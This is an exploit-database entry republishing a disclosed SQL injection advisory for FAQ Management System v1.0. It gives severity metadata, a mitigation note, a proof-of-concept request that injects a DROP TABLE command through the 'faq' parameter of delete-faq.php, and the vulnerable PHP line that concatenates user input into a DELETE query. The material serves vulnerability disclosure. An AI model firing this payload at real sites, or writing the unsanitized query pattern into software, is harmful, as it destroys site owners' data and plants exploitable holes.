header-logo
Suggest Exploit
vendor:
FAQ Management System
by:
SoSPiro
6.1
CVSS
HIGH
SQL Injection
89
CWE
Product Name: FAQ Management System
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: sourcecodester:faq_management_system:1.0
Metasploit:
Other Scripts:
Platforms Tested: Windows 10 64 bit Wampserver
2024

FAQ Management System v1.0 – ‘faq’ SQL Injection

The FAQ Management System v1.0 is vulnerable to SQL injection due to unsanitized user input ($_GET['faq']) directly used in an SQL query. An attacker can exploit this by manipulating the 'faq' parameter to inject malicious SQL code, potentially causing unauthorized database operations.

Mitigation:

To mitigate this vulnerability, input validation and parameterized queries should be implemented to ensure that user input is properly sanitized and not directly concatenated into SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: FAQ Management System v1.0 - 'faq' SQL Injection
# Google Dork: N/A
# Application: FAQ Management System
# Date: 25.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/17175/faq-management-system-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A


## Vulnerability Description:

The provided code is vulnerable to SQL injection. The vulnerability arises from directly using user input ($_GET['faq']) in the SQL query without proper validation or sanitization. An attacker can manipulate the 'faq' parameter to inject malicious SQL code, leading to unintended and potentially harmful database operations.


## Proof of Concept (PoC):

An attacker can manipulate the 'faq' parameter to perform SQL injection. For example:

1. Original Request:
http://example.com/endpoint/delete-faq.php?faq=123

2.Malicious Request (SQL Injection):
http://example.com/endpoint/delete-faq.php?faq=123'; DROP TABLE tbl_faq; --

This would result in a query like:

DELETE FROM tbl_faq WHERE tbl_faq_id = '123'; DROP TABLE tbl_faq; --

Which can lead to the deletion of data or even the entire table.


poc foto: https://i.imgur.com/1IENYFg.png


## Vulnerable code section:
====================================================
endpoint/delete-faq.php


$faq = $_GET['faq'];

// ...

$query = "DELETE FROM tbl_faq WHERE tbl_faq_id = '$faq'";